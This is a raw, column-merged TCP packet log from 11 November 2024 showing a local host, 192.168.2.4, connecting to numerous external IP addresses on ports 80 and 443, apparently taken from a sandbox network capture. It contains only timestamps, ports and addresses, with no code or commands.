                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.430993080 CET805573344.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.432849884 CET8055734188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.433152914 CET805573544.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.615112066 CET8055727103.150.10.48192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.615195990 CET5572780192.168.2.4103.150.10.48
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.624630928 CET5572780192.168.2.4103.150.10.48
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.627247095 CET5573680192.168.2.418.208.156.248
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.629560947 CET8055727103.150.10.48192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.633644104 CET805573618.208.156.248192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.633920908 CET5573680192.168.2.418.208.156.248
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.634430885 CET5573680192.168.2.418.208.156.248
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.639786005 CET805573618.208.156.248192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.666723013 CET5573780192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.671720982 CET805573775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.672187090 CET5573780192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.674007893 CET5573780192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.678941011 CET805573775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.795325994 CET8055730199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.795345068 CET8055730199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.795356035 CET8055730199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.795412064 CET5573080192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.795412064 CET5573080192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.844691992 CET5573980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.849535942 CET8055731208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.849596977 CET805573944.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.849678993 CET5573180192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.849678993 CET5573980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.856092930 CET805573344.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.859323025 CET5573380192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.860320091 CET805573544.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.863270044 CET5573580192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.864073038 CET805573344.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.864161968 CET5573380192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.868005991 CET805573544.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.868403912 CET5573580192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.885756016 CET5574080192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.885760069 CET5573980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.890693903 CET805573944.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.891168118 CET805574075.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.891305923 CET5574080192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.921467066 CET5574180192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.922234058 CET5574280192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.922431946 CET5574080192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.926569939 CET8055741154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.927515030 CET5574180192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.927598953 CET8055742154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.927695036 CET5574180192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.927697897 CET5574280192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.927741051 CET805574075.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.932869911 CET8055741154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.946854115 CET8055732162.255.119.102192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.952800989 CET5573280192.168.2.4162.255.119.102
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.995805025 CET5574280192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.000829935 CET8055742154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.036814928 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.042551994 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.042619944 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.054948092 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.060030937 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.066437006 CET805573618.208.156.248192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.066517115 CET5573680192.168.2.418.208.156.248
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.071157932 CET805573618.208.156.248192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.071208954 CET5573680192.168.2.418.208.156.248
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.109095097 CET805573775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.109112978 CET805573775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.109148026 CET5573780192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.109179974 CET5573780192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.127087116 CET5573780192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.132356882 CET805573775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.151299953 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.151345015 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.152163029 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.179563999 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.179585934 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.196095943 CET8055734188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.196333885 CET8055734188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.196742058 CET5573480192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.263731003 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.263782978 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.263813972 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.263840914 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.263864994 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.263886929 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.263894081 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.263904095 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.263916969 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.263937950 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.264096975 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.264127970 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.264137983 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.264177084 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.264288902 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.264322996 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.269892931 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.274363041 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.286874056 CET805573944.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.287345886 CET5573980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.294270039 CET805573944.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.295304060 CET5573980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.320494890 CET805574075.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.323367119 CET5574080192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.325984955 CET805574075.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.326081038 CET5574080192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.344624996 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.344681978 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.344706059 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.344809055 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.344818115 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.344837904 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.344856977 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.345078945 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.345125914 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.345130920 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.345165014 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.345356941 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.345396042 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.345426083 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.345455885 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.345459938 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.345496893 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.345612049 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.345647097 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.346168995 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.346208096 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.346239090 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.346272945 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.346276045 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.346307039 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.346309900 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.346339941 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.346427917 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.346457005 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.347033024 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.347075939 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.347093105 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.347127914 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.347131014 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.347167015 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.347273111 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.351300001 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.351304054 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.351370096 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.425761938 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.425858021 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.425879955 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.425923109 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.425926924 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.425975084 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.426012993 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.494458914 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.494478941 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.494548082 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.494566917 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.622432947 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.622617960 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.792062044 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.792079926 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.792105913 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.792124033 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.792124987 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.792135954 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.792150021 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.792157888 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.792195082 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.792460918 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.792473078 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.792484045 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.792498112 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.792506933 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.792531013 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.797606945 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.797657967 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.797672987 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.797724009 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.797748089 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.823719025 CET8055741154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.823741913 CET8055742154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.823772907 CET5574180192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.823802948 CET5574280192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880296946 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880343914 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880357027 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880369902 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880409002 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880474091 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880489111 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880510092 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880532980 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880614996 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880739927 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880739927 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880753040 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880778074 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880836010 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880947113 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880958080 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.880981922 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.881006956 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.024660110 CET8055715199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.025016069 CET5571580192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.048099041 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.048127890 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.048475981 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.048541069 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.059206009 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.060318947 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.060363054 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.060436964 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.061038971 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.061053038 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.100014925 CET5574880192.168.2.4103.224.182.252
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.103333950 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.104907036 CET8055748103.224.182.252192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.104970932 CET5574880192.168.2.4103.224.182.252
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.112344980 CET5574880192.168.2.4103.224.182.252
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.117129087 CET8055748103.224.182.252192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.127242088 CET4976380192.168.2.4154.85.183.50
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.132617950 CET8049763154.85.183.50192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.295819998 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.295882940 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.296087980 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.296133995 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.296240091 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.296292067 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.296720982 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.296771049 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.355283022 CET5574980192.168.2.4103.224.212.210
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.360248089 CET8055749103.224.212.210192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.360311985 CET5574980192.168.2.4103.224.212.210
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.377479076 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.377542973 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.378366947 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.378429890 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.378870010 CET5574980192.168.2.4103.224.212.210
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.379378080 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.379390001 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.379445076 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.379458904 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.379508972 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.380047083 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.380105972 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.380110979 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.380146027 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.380856991 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.380935907 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.383671045 CET8055749103.224.212.210192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.412532091 CET8049763154.85.183.50192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.412579060 CET4976380192.168.2.4154.85.183.50
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.459028959 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.459081888 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.459112883 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.459148884 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.459177971 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.459188938 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.459952116 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.459992886 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.460021019 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.460038900 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.460052013 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.460072041 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.460078001 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.460103035 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.460109949 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.460138083 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.488852978 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.488928080 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.492655993 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.492674112 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.492970943 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.493019104 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.494138956 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.539336920 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.605259895 CET4976380192.168.2.4154.85.183.50
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.610286951 CET8049763154.85.183.50192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.660252094 CET8055748103.224.182.252192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.660310984 CET5574880192.168.2.4103.224.182.252
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.727274895 CET8055748103.224.182.252192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.727333069 CET5574880192.168.2.4103.224.182.252
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.887239933 CET5574880192.168.2.4103.224.182.252
